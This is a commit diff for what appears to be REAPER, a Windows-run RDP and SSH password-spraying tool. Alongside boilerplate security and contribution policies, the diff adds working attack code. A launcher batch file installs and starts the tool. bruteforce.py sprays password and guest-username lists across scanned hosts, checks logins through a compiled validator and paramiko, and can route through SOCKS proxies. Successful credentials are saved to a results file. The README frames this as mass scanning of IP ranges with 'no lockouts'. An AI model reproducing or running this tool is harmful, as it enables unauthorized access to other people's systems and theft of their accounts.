Compare commits
26 Commits
2acf6acc72
...
main
| Author | SHA1 | Date | |
|---|---|---|---|
| 63fa61230b | |||
| aa996855b4 | |||
| b5c6ea2f48 | |||
| 61b66a5534 | |||
| fdf1571715 | |||
| dd28548700 | |||
| 5e516b46d1 | |||
| 81072fbbd3 | |||
| 475d34c47e | |||
| a3949a16a2 | |||
| eb129cd02b | |||
| 93c6bc2ab1 | |||
| 6c0bf0630f | |||
| d513dd3657 | |||
| abfbb17f01 | |||
| ef79093bb1 | |||
| c00e26e883 | |||
| 325196163f | |||
|
|
225b787a1f | ||
|
|
f0f14b2129 | ||
|
|
7068dbd12d | ||
|
|
399e36f848 | ||
|
|
2ef5e0fa69 | ||
|
|
906000870d | ||
|
|
1e3e7181e2 | ||
|
|
af002462c4 |
17
.editorconfig
Normal file
17
.editorconfig
Normal file
@@ -0,0 +1,17 @@
|
||||
# EditorConfig is awesome: https://editorconfig.org
|
||||
<!-- stewardship-standard: editorconfig-v1 -->
|
||||
root = true
|
||||
|
||||
[*]
|
||||
charset = utf-8
|
||||
end_of_line = lf
|
||||
insert_final_newline = true
|
||||
indent_style = space
|
||||
indent_size = 2
|
||||
trim_trailing_whitespace = true
|
||||
|
||||
[*.{md,markdown}]
|
||||
trim_trailing_whitespace = false
|
||||
|
||||
[Makefile]
|
||||
indent_style = tab
|
||||
27
.gitattributes
vendored
Normal file
27
.gitattributes
vendored
Normal file
@@ -0,0 +1,27 @@
|
||||
# stewardship-standard: gitattributes-v1
|
||||
* text=auto eol=lf
|
||||
|
||||
*.md text eol=lf
|
||||
*.txt text eol=lf
|
||||
*.json text eol=lf
|
||||
*.yml text eol=lf
|
||||
*.yaml text eol=lf
|
||||
*.sh text eol=lf
|
||||
*.py text eol=lf
|
||||
*.js text eol=lf
|
||||
*.ts text eol=lf
|
||||
*.c text eol=lf
|
||||
*.cpp text eol=lf
|
||||
*.h text eol=lf
|
||||
*.hpp text eol=lf
|
||||
|
||||
*.png binary
|
||||
*.jpg binary
|
||||
*.jpeg binary
|
||||
*.gif binary
|
||||
*.webp binary
|
||||
*.pdf binary
|
||||
*.zip binary
|
||||
*.bin binary
|
||||
*.elf binary
|
||||
*.uf2 binary
|
||||
21
.gitea/ISSUE_TEMPLATE/bug_report.md
Normal file
21
.gitea/ISSUE_TEMPLATE/bug_report.md
Normal file
@@ -0,0 +1,21 @@
|
||||
# Bug Report
|
||||
|
||||
## Summary
|
||||
|
||||
Describe the problem and expected behavior.
|
||||
|
||||
## Environment
|
||||
|
||||
- Repo version/commit:
|
||||
- OS/toolchain/board/service:
|
||||
- Relevant configuration with secrets removed:
|
||||
|
||||
## Reproduction
|
||||
|
||||
1.
|
||||
2.
|
||||
3.
|
||||
|
||||
## Logs
|
||||
|
||||
Paste only sanitized logs. Remove credentials, tokens, personal data, captures, dumps, and target identifiers.
|
||||
13
.gitea/ISSUE_TEMPLATE/docs_task.md
Normal file
13
.gitea/ISSUE_TEMPLATE/docs_task.md
Normal file
@@ -0,0 +1,13 @@
|
||||
# Documentation Task
|
||||
|
||||
## Page Or Section
|
||||
|
||||
Name the README/wiki section that needs work.
|
||||
|
||||
## Change Needed
|
||||
|
||||
Describe what should be clearer, corrected, or added.
|
||||
|
||||
## Source Of Truth
|
||||
|
||||
Link to code, hardware notes, upstream docs, release notes, or maintainer decision.
|
||||
14
.gitea/ISSUE_TEMPLATE/release_checklist.md
Normal file
14
.gitea/ISSUE_TEMPLATE/release_checklist.md
Normal file
@@ -0,0 +1,14 @@
|
||||
# Release Checklist
|
||||
|
||||
## Scope
|
||||
|
||||
Describe what is being released and why.
|
||||
|
||||
## Checks
|
||||
|
||||
- [ ] README and wiki are current.
|
||||
- [ ] Changelog entry exists.
|
||||
- [ ] License/provenance is clear.
|
||||
- [ ] No secrets or private data are included.
|
||||
- [ ] Firmware/binary artifacts include SHA256 hashes and target details.
|
||||
- [ ] Build or smoke-check result is recorded.
|
||||
7
.gitea/PULL_REQUEST_TEMPLATE.md
Normal file
7
.gitea/PULL_REQUEST_TEMPLATE.md
Normal file
@@ -0,0 +1,7 @@
|
||||
# Pull Request Checklist
|
||||
|
||||
- [ ] Scope is clear and limited.
|
||||
- [ ] README/wiki updates are included when behavior, setup, hardware, or release process changes.
|
||||
- [ ] No secrets, tokens, private data, dumps, captures, or generated dependency folders are committed.
|
||||
- [ ] Build/test/smoke-check result is documented.
|
||||
- [ ] License or upstream provenance is preserved.
|
||||
3
.gitignore
vendored
3
.gitignore
vendored
@@ -6,3 +6,6 @@ dist/
|
||||
build/
|
||||
.vscode/
|
||||
.idea/
|
||||
|
||||
# Build artifacts
|
||||
rdpthread.exe
|
||||
|
||||
13
CHANGELOG.md
Normal file
13
CHANGELOG.md
Normal file
@@ -0,0 +1,13 @@
|
||||
# Changelog
|
||||
|
||||
All meaningful changes to this repository should be recorded here.
|
||||
|
||||
## Unreleased
|
||||
|
||||
- Add future changes here before tagging or publishing release artifacts.
|
||||
|
||||
## 2026-05-20 - Gitea Stewardship Import
|
||||
|
||||
- Verified README and wiki coverage.
|
||||
- Added standard stewardship documentation where missing.
|
||||
- Established security, contribution, release, and provenance expectations.
|
||||
1
CODEOWNERS
Normal file
1
CODEOWNERS
Normal file
@@ -0,0 +1 @@
|
||||
* @drjones
|
||||
20
CONTRIBUTING.md
Normal file
20
CONTRIBUTING.md
Normal file
@@ -0,0 +1,20 @@
|
||||
# Contributing
|
||||
|
||||
## Maintainer Expectations
|
||||
|
||||
Keep changes small, reviewable, and tied to a clear project purpose. Do not mix source changes with generated build output or dependency caches.
|
||||
|
||||
## Before Committing
|
||||
|
||||
- Run the relevant build, lint, or smoke test when the project provides one.
|
||||
- Check that no credentials, `.env` files, tokens, private keys, captures, dumps, or personal data are staged.
|
||||
- Keep firmware binaries, large archives, and generated artifacts out of Git unless the repo explicitly documents otherwise.
|
||||
- Preserve upstream licenses and attribution for third-party code.
|
||||
|
||||
## Documentation
|
||||
|
||||
Update README and wiki pages when setup, hardware, architecture, environment variables, or release behavior changes.
|
||||
|
||||
## Safety
|
||||
|
||||
Only submit work intended for authorized environments. Project documentation should make scope and safe operation clearer, never weaker.
|
||||
14
LICENSE_STATUS.md
Normal file
14
LICENSE_STATUS.md
Normal file
@@ -0,0 +1,14 @@
|
||||
# License Status
|
||||
|
||||
This repository has not been assigned a blanket license by the stewardship pass.
|
||||
|
||||
## Current Rule
|
||||
|
||||
- Existing upstream licenses must be preserved.
|
||||
- Third-party code must retain attribution and license files.
|
||||
- Original private work remains all rights reserved until an explicit license is selected.
|
||||
- Do not assume MIT, Apache, GPL, or public-domain status unless a license file in this repository says so.
|
||||
|
||||
## Next Step
|
||||
|
||||
Classify ownership and dependencies before publishing releases or accepting external contributions.
|
||||
137
MASTERSTER.bat
Normal file
137
MASTERSTER.bat
Normal file
@@ -0,0 +1,137 @@
|
||||
@echo off
|
||||
title REAPER v2.0 - MASTERSTER
|
||||
color 0C
|
||||
cd /d "%~dp0"
|
||||
|
||||
:: ── FORCE UTF-8 ──────────────────────────────────────────────
|
||||
set PYTHONIOENCODING=utf-8
|
||||
|
||||
:: ── BANNER ───────────────────────────────────────────────────
|
||||
cls
|
||||
echo.
|
||||
echo ╔══════════════════════════════════════════════════════════════╗
|
||||
echo ║ ☠ REAPER v2.0 - MASTERSTER ☠ ║
|
||||
echo ║ Remote Exploitation ^& Password Enumeration Routine ║
|
||||
echo ║ ║
|
||||
echo ║ One swoop. One reaping. No mercy. ║
|
||||
echo ╚══════════════════════════════════════════════════════════════╝
|
||||
echo.
|
||||
echo Made for doom by drjones.
|
||||
echo.
|
||||
|
||||
:: ── STEP 1: CHECK PYTHON ────────────────────────────────────
|
||||
echo [*] Step 1/7 — Checking Python...
|
||||
python --version >nul 2>&1
|
||||
if %errorlevel% neq 0 (
|
||||
echo.
|
||||
echo [FAIL] Python is not installed or not in PATH!
|
||||
echo.
|
||||
echo Download Python 3.8+ from: https://python.org/downloads
|
||||
echo Make sure to check "Add Python to PATH" during installation.
|
||||
echo.
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
for /f "tokens=2" %%i in ('python --version 2^>^&1') do set pyver=%%i
|
||||
echo [OK] Python %pyver% found
|
||||
echo.
|
||||
|
||||
:: ── STEP 2: INSTALL DEPENDENCIES ────────────────────────────
|
||||
echo [*] Step 2/7 — Installing dependencies (aiohttp, aiohttp-socks, paramiko)...
|
||||
echo.
|
||||
python -m pip install --upgrade pip -q
|
||||
python -m pip install aiohttp aiohttp-socks paramiko -q
|
||||
if %errorlevel% neq 0 (
|
||||
echo [WARN] pip install had issues, but continuing...
|
||||
) else (
|
||||
echo [OK] Dependencies installed
|
||||
)
|
||||
echo.
|
||||
|
||||
:: ── STEP 3: CREATE DIRECTORIES ──────────────────────────────
|
||||
echo [*] Step 3/7 — Creating directories...
|
||||
if not exist "wordlists" mkdir wordlists
|
||||
if not exist "results" mkdir results
|
||||
echo [OK] Directories ready
|
||||
echo.
|
||||
|
||||
:: ── STEP 4: VERIFY FILES ────────────────────────────────────
|
||||
echo [*] Step 4/7 — Verifying project files...
|
||||
set FILES=main.py gui.py scanner.py bruteforce.py ip_utils.py proxy.py
|
||||
set ALL_OK=1
|
||||
for %%f in (%FILES%) do (
|
||||
if exist "%%f" (
|
||||
echo [OK] %%f
|
||||
) else (
|
||||
echo [WARN] %%f not found
|
||||
set ALL_OK=0
|
||||
)
|
||||
)
|
||||
if not exist "results\good.txt" (
|
||||
echo. > "results\good.txt"
|
||||
echo [OK] Created results\good.txt
|
||||
)
|
||||
echo.
|
||||
|
||||
:: ── STEP 5: BUILD RDPTHREAD ─────────────────────────────────
|
||||
echo [*] Step 5/7 — Building rdpthread.exe (credential validator)...
|
||||
if exist "rdpthread.cs" (
|
||||
if not exist "rdpthread.exe" (
|
||||
echo [*] Compiling rdpthread.cs...
|
||||
set CSC=
|
||||
for %%d in (v4.0.30319 v3.5 v2.0.50727) do (
|
||||
if exist "%windir%\Microsoft.NET\Framework\%%d\csc.exe" (
|
||||
set CSC="%windir%\Microsoft.NET\Framework\%%d\csc.exe"
|
||||
goto :build_rdp
|
||||
)
|
||||
)
|
||||
echo [WARN] C# compiler not found — rdpthread.exe not built
|
||||
echo Credential validation will use banner-only fallback
|
||||
goto :skip_build
|
||||
:build_rdp
|
||||
%CSC% /target:exe /out:rdpthread.exe /nologo rdpthread.cs >nul 2>&1
|
||||
if exist "rdpthread.exe" (
|
||||
echo [OK] rdpthread.exe built successfully
|
||||
) else (
|
||||
echo [WARN] rdpthread.exe build failed — using banner-only fallback
|
||||
)
|
||||
) else (
|
||||
echo [OK] rdpthread.exe already exists
|
||||
)
|
||||
) else (
|
||||
echo [WARN] rdpthread.cs not found — using banner-only fallback
|
||||
)
|
||||
:skip_build
|
||||
echo.
|
||||
|
||||
:: ── STEP 6: TEST IMPORTS ────────────────────────────────────
|
||||
echo [*] Step 6/7 — Testing imports...
|
||||
python -c "from scanner import scan_ips, RDP_PORTS, SSH_PORT, check_ssh_banner; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, spray_ssh_single_host, TOP50_PASSWORDS, GUEST_USERNAMES; from proxy import ProxyManager; print(' [OK] All modules loaded')" 2>&1
|
||||
if %errorlevel% neq 0 (
|
||||
echo [FAIL] Import test failed. There may be a syntax error.
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
echo [OK] All systems nominal
|
||||
echo.
|
||||
|
||||
:: ── STEP 7: LAUNCH ──────────────────────────────────────────
|
||||
echo [*] Step 7/7 — Launching the Reaper...
|
||||
echo.
|
||||
echo ╔══════════════════════════════════════════════════════════════╗
|
||||
echo ║ ☠ REAPER v2.0 ☠ ║
|
||||
echo ║ No mercy. No lockouts. Just results. ║
|
||||
echo ║ ║
|
||||
echo ║ The network is a graveyard, and I'm the reaper. ║
|
||||
echo ╚══════════════════════════════════════════════════════════════╝
|
||||
echo.
|
||||
echo Made for doom by drjones.
|
||||
echo.
|
||||
|
||||
python main.py
|
||||
|
||||
if %errorlevel% neq 0 (
|
||||
echo.
|
||||
echo [!] REAPER encountered an error. Check the output above.
|
||||
pause
|
||||
)
|
||||
36
README.md
36
README.md
@@ -55,16 +55,14 @@ REAPER/
|
||||
├── bruteforce.py # 🔑 The hammer (password sprayer)
|
||||
├── proxy.py # 🌐 The cloak (SOCKS5 proxy manager)
|
||||
├── ip_utils.py # 🎯 IP range parser (CIDR, dash, any)
|
||||
├── proxy.py # 🛡️ KILLER NEW — proxy rotator
|
||||
├── wordlists/ # 📚 Your kill list
|
||||
│ ├── ranges.txt # IP ranges to hunt
|
||||
│ ├── users.txt # Usernames to try
|
||||
│ ├── passwords.txt # Passwords to try (or use top 50)
|
||||
│ └── ports.txt # Ports to check
|
||||
├── results/ # 📁 Where the bodies drop
|
||||
│ └── passwords.txt # Passwords to try (or use top 50)
|
||||
├── results/ # 📁 Output
|
||||
│ └── good.txt # Successful logins
|
||||
├── run.bat # ▶️ One-click carnage
|
||||
└── install.bat # 📦 Setup
|
||||
├── REAPER.bat # ▶️ **Use this on Windows** — deps + env + launch
|
||||
└── rdpthread.exe # ⚙️ Optional — beside main.py for verified spray hits
|
||||
```
|
||||
|
||||
---
|
||||
@@ -74,18 +72,30 @@ REAPER/
|
||||
### Prerequisites
|
||||
- **Windows 10+** with Python 3.8+ ([Download](https://python.org/downloads))
|
||||
- Check **"Add Python to PATH"** during install
|
||||
- You need `aiohttp` + `aiohttp-socks` for the proxy module (auto-installed)
|
||||
|
||||
### Quick Launch
|
||||
### Recommended (one double-click)
|
||||
From the folder that contains `main.py`, run **`REAPER.bat`**. It upgrades pip, installs `requirements.txt`, creates `wordlists/` and `results/`, smoke-tests imports, then starts the GUI.
|
||||
|
||||
### Manual (Python already set up)
|
||||
```batch
|
||||
# Pop the trunk
|
||||
cd C:\Users\drjones\Desktop\hacking\REAPER
|
||||
|
||||
# Light it up
|
||||
cd path\to\rdp-brute
|
||||
python -m pip install -r requirements.txt
|
||||
python main.py
|
||||
```
|
||||
|
||||
### Or just double-click `run.bat` — it's that easy.
|
||||
Scan ports are chosen in the **Scanner** tab (3389 / 3390 / 3391 checkboxes), not from a text file.
|
||||
|
||||
### Deployment (production)
|
||||
|
||||
| Artifact | Role |
|
||||
|----------|------|
|
||||
| Core `.py` modules | Scanner, GUI, proxy manager, wordlist parsing |
|
||||
| `requirements.txt` | `aiohttp`, `aiohttp-socks` (installed by `REAPER.bat`) |
|
||||
| **`rdpthread.exe`** (optional) | When placed in the **same folder as `main.py`**, enables password spray **verification** and hit reporting. Without it, **port scan and live RDP detection behave the same**; spray attempts do not produce verified hits. |
|
||||
|
||||
**Operator UX:** One status line in the Scanner tab summarizes validation state. `REAPER.bat` prints bundle status once at launch.
|
||||
|
||||
**Authorized testing only** — see Legal section below.
|
||||
|
||||
---
|
||||
|
||||
|
||||
19
SECURITY.md
Normal file
19
SECURITY.md
Normal file
@@ -0,0 +1,19 @@
|
||||
# Security Policy
|
||||
|
||||
## Scope
|
||||
|
||||
This repository is maintained for authorized, lawful work only. Do not use code, firmware, payloads, scripts, or documentation from this project against systems, accounts, devices, networks, cards, readers, or services you do not own or do not have explicit permission to test.
|
||||
|
||||
## Reporting
|
||||
|
||||
Report security concerns privately to the maintainer. Do not open public issues containing live credentials, tokens, private captures, card data, target identifiers, exploit chains, or sensitive logs.
|
||||
|
||||
## Secrets And Data
|
||||
|
||||
- Do not commit `.env` files, API keys, Wi-Fi credentials, session cookies, private keys, dumps, captures, or personal data.
|
||||
- Firmware binaries and captured artifacts must include provenance notes and SHA256 hashes before release.
|
||||
- Generated dependency folders and build output belong outside Git unless there is a documented reason.
|
||||
|
||||
## Maintainer Rule
|
||||
|
||||
If a change increases misuse risk, narrows safety boundaries, or weakens provenance, it must be rejected or quarantined until documented.
|
||||
213
bruteforce.py
213
bruteforce.py
@@ -13,6 +13,33 @@ from typing import List, Tuple, Set, Optional
|
||||
|
||||
logger = logging.getLogger("FastRDP-NG")
|
||||
|
||||
_CRED_FALLBACK_WARNED = False
|
||||
|
||||
|
||||
def get_rdpthread_path() -> Optional[str]:
|
||||
"""Resolve rdpthread.exe beside this package, or None if not deployed."""
|
||||
base = os.path.dirname(os.path.abspath(__file__))
|
||||
for p in (
|
||||
os.path.join(base, "rdpthread.exe"),
|
||||
os.path.join(base, "..", "rdpthread.exe"),
|
||||
os.path.join(base, "bin", "rdpthread.exe"),
|
||||
):
|
||||
if os.path.exists(p):
|
||||
return p
|
||||
return None
|
||||
|
||||
|
||||
def credential_validation_available() -> bool:
|
||||
"""True if rdpthread is present so password attempts can be validated."""
|
||||
return get_rdpthread_path() is not None
|
||||
|
||||
|
||||
def _subprocess_run_no_console(cmd: List[str], **kwargs):
|
||||
"""Windows: hide console window for subprocess if supported."""
|
||||
if hasattr(subprocess, "CREATE_NO_WINDOW"):
|
||||
kwargs.setdefault("creationflags", subprocess.CREATE_NO_WINDOW)
|
||||
return subprocess.run(cmd, **kwargs)
|
||||
|
||||
# Top 50 most common RDP passwords (by frequency in breaches)
|
||||
TOP50_PASSWORDS = [
|
||||
"admin", "Admin", "password", "Password", "123456",
|
||||
@@ -33,6 +60,20 @@ TOP_USERNAMES = [
|
||||
"User", "user", "GuestUser", "Guest", "root",
|
||||
]
|
||||
|
||||
# Guest-focused usernames (used when guest mode is enabled)
|
||||
GUEST_USERNAMES = [
|
||||
"guest", "Guest", "guestuser", "GuestUser", "GUEST",
|
||||
"test", "Test", "user", "User", "visitor",
|
||||
"anonymous", "Anonymous", "temp", "Temp", "default",
|
||||
]
|
||||
|
||||
# Top passwords for guest/weak account testing
|
||||
GUEST_PASSWORDS = [
|
||||
"guest", "Guest", "password", "Password", "123456",
|
||||
"guest123", "welcome", "letmein", "test", "Test123",
|
||||
"changeme", "default", "temp123", "user", "User123",
|
||||
"", # empty password
|
||||
]
|
||||
|
||||
async def spray_password(
|
||||
ip: str,
|
||||
@@ -51,26 +92,15 @@ async def spray_password(
|
||||
|
||||
Returns (ip, port, username, password, success).
|
||||
"""
|
||||
# Try to locate rdpthread.exe in likely locations
|
||||
base = os.path.dirname(os.path.abspath(__file__))
|
||||
search_paths = [
|
||||
os.path.join(base, "rdpthread.exe"),
|
||||
os.path.join(base, "..", "rdpthread.exe"),
|
||||
os.path.join(base, "bin", "rdpthread.exe"),
|
||||
]
|
||||
rdpthread_path = None
|
||||
for p in search_paths:
|
||||
if os.path.exists(p):
|
||||
rdpthread_path = p
|
||||
break
|
||||
global _CRED_FALLBACK_WARNED
|
||||
rdpthread_path = get_rdpthread_path()
|
||||
|
||||
if rdpthread_path:
|
||||
try:
|
||||
result = subprocess.run(
|
||||
result = _subprocess_run_no_console(
|
||||
[rdpthread_path, ip, str(port), username, password],
|
||||
capture_output=True,
|
||||
timeout=timeout,
|
||||
creationflags=subprocess.CREATE_NO_WINDOW
|
||||
)
|
||||
output = result.stdout.decode('utf-8', errors='ignore').lower()
|
||||
success = (
|
||||
@@ -83,6 +113,15 @@ async def spray_password(
|
||||
except (FileNotFoundError, subprocess.TimeoutExpired,
|
||||
subprocess.CalledProcessError, OSError):
|
||||
pass
|
||||
# Binary exists but attempt failed — fall through to connectivity check only.
|
||||
|
||||
if rdpthread_path is None:
|
||||
if not _CRED_FALLBACK_WARNED:
|
||||
_CRED_FALLBACK_WARNED = True
|
||||
logger.debug(
|
||||
"rdpthread.exe not in application directory; credential validation "
|
||||
"unavailable until deployed (scanner unaffected)."
|
||||
)
|
||||
|
||||
# Fallback: RDP banner check (confirms RDP service is running)
|
||||
# When proxy is enabled, route through proxy
|
||||
@@ -96,20 +135,23 @@ async def spray_password(
|
||||
timeout=2.0
|
||||
)
|
||||
try:
|
||||
data = await asyncio.wait_for(
|
||||
reader.read(4),
|
||||
timeout=1.0
|
||||
)
|
||||
writer.close()
|
||||
await writer.wait_closed()
|
||||
# TPKT header (0x03) indicates RDP protocol response
|
||||
try:
|
||||
data = await asyncio.wait_for(
|
||||
reader.read(4),
|
||||
timeout=1.0
|
||||
)
|
||||
except (asyncio.TimeoutError, ConnectionError, OSError):
|
||||
data = b""
|
||||
# TPKT header (0x03) — RDP; we never report success without rdpthread above
|
||||
if len(data) >= 2 and data[0] == 0x03:
|
||||
return (ip, port, username, password, False)
|
||||
except (asyncio.TimeoutError, ConnectionError):
|
||||
pass
|
||||
writer.close()
|
||||
await writer.wait_closed()
|
||||
return (ip, port, username, password, False)
|
||||
return (ip, port, username, password, False)
|
||||
finally:
|
||||
try:
|
||||
writer.close()
|
||||
await writer.wait_closed()
|
||||
except (OSError, ConnectionError, RuntimeError):
|
||||
pass
|
||||
except (asyncio.TimeoutError, ConnectionRefusedError, OSError):
|
||||
return (ip, port, username, password, False)
|
||||
|
||||
@@ -124,9 +166,8 @@ async def spray_all_hosts(
|
||||
proxy_manager=None,
|
||||
) -> List[Tuple[str, int, str, str]]:
|
||||
"""
|
||||
Spray top passwords across all live hosts.
|
||||
Tries 1 password per host, then moves to next password.
|
||||
This avoids account lockouts and finds weak passwords fast.
|
||||
Spray passwords across all live hosts in rounds: for each password, try
|
||||
that password with every (host, username) combo before advancing.
|
||||
Supports optional proxy routing.
|
||||
|
||||
Returns list of (ip, port, username, password) successful hits.
|
||||
@@ -138,6 +179,7 @@ async def spray_all_hosts(
|
||||
|
||||
sem = asyncio.Semaphore(max_concurrent)
|
||||
hits = []
|
||||
hits_written = 0
|
||||
total_attempts = len(live_hosts) * len(passwords) * len(usernames)
|
||||
attempts = 0
|
||||
start_time = time.time()
|
||||
@@ -172,12 +214,15 @@ async def spray_all_hosts(
|
||||
# Execute this password batch before moving to next password
|
||||
if tasks:
|
||||
await asyncio.gather(*tasks, return_exceptions=True)
|
||||
if hits:
|
||||
_write_hits(hits)
|
||||
if len(hits) > hits_written:
|
||||
_write_hits(hits[hits_written:])
|
||||
hits_written = len(hits)
|
||||
tasks = []
|
||||
|
||||
elapsed = time.time() - start_time
|
||||
rate = attempts / elapsed if elapsed > 0 else 0
|
||||
if progress_callback and total_attempts > 0:
|
||||
progress_callback(attempts, total_attempts, len(hits), rate)
|
||||
logger.info(
|
||||
f"Spray complete: {len(hits)} hits from {attempts} attempts "
|
||||
f"in {elapsed:.1f}s ({rate:.0f} attempts/sec)"
|
||||
@@ -231,7 +276,106 @@ async def spray_single_host(
|
||||
if tasks:
|
||||
await asyncio.gather(*tasks, return_exceptions=True)
|
||||
|
||||
if hits:
|
||||
# Avoid duplicate lines in good.txt when GUI provides hit_callback (writes there).
|
||||
if hits and hit_callback is None:
|
||||
_write_hits(hits)
|
||||
|
||||
return hits
|
||||
|
||||
|
||||
# ── SSH PASSWORD SPRAY ────────────────────────────────────────────────
|
||||
|
||||
|
||||
def _try_ssh_password(ip: str, port: int, username: str, password: str,
|
||||
timeout: float) -> bool:
|
||||
"""Synchronous SSH password attempt using paramiko.
|
||||
Runs in a thread executor to avoid blocking the event loop."""
|
||||
try:
|
||||
import paramiko
|
||||
import socket
|
||||
client = paramiko.SSHClient()
|
||||
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||
try:
|
||||
client.connect(
|
||||
ip, port=port, username=username, password=password,
|
||||
timeout=timeout, look_for_keys=False, allow_agent=False,
|
||||
banner_timeout=timeout,
|
||||
)
|
||||
client.close()
|
||||
return True
|
||||
except paramiko.AuthenticationException:
|
||||
return False
|
||||
except (paramiko.SSHException, OSError, socket.timeout, EOFError,
|
||||
ConnectionResetError):
|
||||
return False
|
||||
except ImportError:
|
||||
return False
|
||||
|
||||
|
||||
async def spray_ssh_single_host(
|
||||
ip: str,
|
||||
port: int = 22,
|
||||
usernames: List[str] = None,
|
||||
passwords: List[str] = None,
|
||||
max_concurrent: int = 30,
|
||||
timeout: float = 5.0,
|
||||
hit_callback=None,
|
||||
proxy_manager=None,
|
||||
) -> List[Tuple[str, int, str, str]]:
|
||||
"""
|
||||
Spray passwords against an SSH host using paramiko.
|
||||
Falls back to banner-only check if paramiko is not installed.
|
||||
|
||||
When proxy is enabled, falls back to SSH banner check only
|
||||
(paramiko doesn't support SOCKS natively).
|
||||
"""
|
||||
if usernames is None:
|
||||
usernames = TOP_USERNAMES
|
||||
if passwords is None:
|
||||
passwords = TOP50_PASSWORDS
|
||||
|
||||
# If proxy is enabled or paramiko not available, fall back to banner check
|
||||
use_banner_fallback = bool(proxy_manager and proxy_manager.enabled)
|
||||
|
||||
sem = asyncio.Semaphore(max_concurrent)
|
||||
hits: List[Tuple[str, int, str, str]] = []
|
||||
|
||||
async def try_combo(user: str, pwd: str):
|
||||
async with sem:
|
||||
if use_banner_fallback:
|
||||
# Just do a TCP/banner check (confirms SSH is alive)
|
||||
open_conn = proxy_manager.open_connection if proxy_manager and proxy_manager.enabled else asyncio.open_connection
|
||||
try:
|
||||
_, writer = await asyncio.wait_for(
|
||||
open_conn(ip, port), timeout=timeout
|
||||
)
|
||||
writer.close()
|
||||
await writer.wait_closed()
|
||||
# Can't validate creds through proxy, but host is alive
|
||||
except (asyncio.TimeoutError, OSError, ConnectionError):
|
||||
pass
|
||||
return
|
||||
|
||||
# Run paramiko in thread executor (it's synchronous)
|
||||
loop = asyncio.get_running_loop()
|
||||
success = await loop.run_in_executor(
|
||||
None, _try_ssh_password, ip, port, user, pwd, timeout
|
||||
)
|
||||
if success:
|
||||
hits.append((ip, port, user, pwd))
|
||||
if hit_callback:
|
||||
hit_callback(ip, port, user, pwd)
|
||||
|
||||
# Fire all tasks
|
||||
tasks = []
|
||||
for user in usernames:
|
||||
for pwd in passwords:
|
||||
tasks.append(asyncio.create_task(try_combo(user, pwd)))
|
||||
|
||||
if tasks:
|
||||
await asyncio.gather(*tasks, return_exceptions=True)
|
||||
|
||||
if hits and hit_callback is None:
|
||||
_write_hits(hits)
|
||||
|
||||
return hits
|
||||
@@ -239,10 +383,9 @@ async def spray_single_host(
|
||||
|
||||
def _write_hits(hits: List[Tuple[str, int, str, str]]):
|
||||
"""Write successful hits to results file immediately."""
|
||||
import os
|
||||
output_path = os.path.join(
|
||||
os.path.dirname(os.path.dirname(os.path.abspath(__file__))),
|
||||
"results", "good.txt"
|
||||
os.path.dirname(os.path.abspath(__file__)),
|
||||
"results", "good.txt",
|
||||
)
|
||||
os.makedirs(os.path.dirname(output_path), exist_ok=True)
|
||||
with open(output_path, 'a') as f:
|
||||
|
||||
39
build_rdpthread.bat
Normal file
39
build_rdpthread.bat
Normal file
@@ -0,0 +1,39 @@
|
||||
@echo off
|
||||
title Build rdpthread.exe
|
||||
cd /d "%~dp0"
|
||||
|
||||
echo.
|
||||
echo ╔════════════════════════════════════════════════════════╗
|
||||
echo ║ Building rdpthread.exe - RDP Credential Validator ║
|
||||
echo ╚════════════════════════════════════════════════════════╝
|
||||
echo.
|
||||
|
||||
:: Find the C# compiler
|
||||
set CSC=
|
||||
for %%d in (v4.0.30319 v3.5 v2.0.50727) do (
|
||||
if exist "%windir%\Microsoft.NET\Framework\%%d\csc.exe" (
|
||||
set CSC="%windir%\Microsoft.NET\Framework\%%d\csc.exe"
|
||||
goto :compile
|
||||
)
|
||||
)
|
||||
|
||||
echo [FAIL] C# compiler (csc.exe) not found!
|
||||
echo Install .NET Framework SDK or Visual Studio Build Tools.
|
||||
pause
|
||||
exit /b 1
|
||||
|
||||
:compile
|
||||
echo [*] Found C# compiler: %CSC%
|
||||
echo [*] Compiling rdpthread.cs...
|
||||
%CSC% /target:exe /out:rdpthread.exe /nologo rdpthread.cs
|
||||
if %errorlevel% neq 0 (
|
||||
echo [FAIL] Compilation failed
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
echo [OK] rdpthread.exe built successfully
|
||||
echo.
|
||||
echo Usage: rdpthread.exe ^<ip^> ^<port^> ^<username^> ^<password^>
|
||||
echo.
|
||||
pause
|
||||
23
docs/MAINTENANCE.md
Normal file
23
docs/MAINTENANCE.md
Normal file
@@ -0,0 +1,23 @@
|
||||
# Maintenance
|
||||
<!-- stewardship-standard: maintenance-v1 -->
|
||||
|
||||
## Stewardship Rules
|
||||
|
||||
- Keep generated files, build outputs, copied SDKs, and raw firmware binaries out of Git unless they are the source of truth.
|
||||
- Keep credentials, tokens, dumps, private messages, session stores, and local machine paths out of commits.
|
||||
- Prefer small commits with clear intent and a matching issue or release note.
|
||||
- Preserve upstream attribution when code is copied, forked, or adapted.
|
||||
|
||||
## Routine Checks
|
||||
|
||||
- README still describes what the project does.
|
||||
- Setup instructions still work.
|
||||
- Security policy is accurate for the current risk level.
|
||||
- Changelog records user-visible changes.
|
||||
- License status is explicit.
|
||||
|
||||
## Automation Gate
|
||||
|
||||
- Confirm no tokens, session cookies, personal data, or exported credentials are committed.
|
||||
- Document required environment variables with safe example values only.
|
||||
- Add rate-limit and account-safety notes before any release.
|
||||
14
docs/PROJECT_HANDOFF.md
Normal file
14
docs/PROJECT_HANDOFF.md
Normal file
@@ -0,0 +1,14 @@
|
||||
# Project Handoff
|
||||
<!-- stewardship-standard: project-handoff-v1 -->
|
||||
|
||||
## What This Repo Needs From A Maintainer
|
||||
|
||||
- A one-paragraph project summary in README.md.
|
||||
- Confirmed setup instructions.
|
||||
- Confirmed license status.
|
||||
- Confirmed provenance for imported code and binaries.
|
||||
- A known-good verification command, test, build, flash, or demo path.
|
||||
|
||||
## Current Stewardship State
|
||||
|
||||
This repo has baseline governance files, wiki pages, issue templates, labels, milestones, and a readiness issue. The next maintainer should replace generic stewardship notes with project-specific facts.
|
||||
12
docs/PROVENANCE_CHECKLIST.md
Normal file
12
docs/PROVENANCE_CHECKLIST.md
Normal file
@@ -0,0 +1,12 @@
|
||||
# Provenance Checklist
|
||||
<!-- stewardship-standard: provenance-checklist-v1 -->
|
||||
|
||||
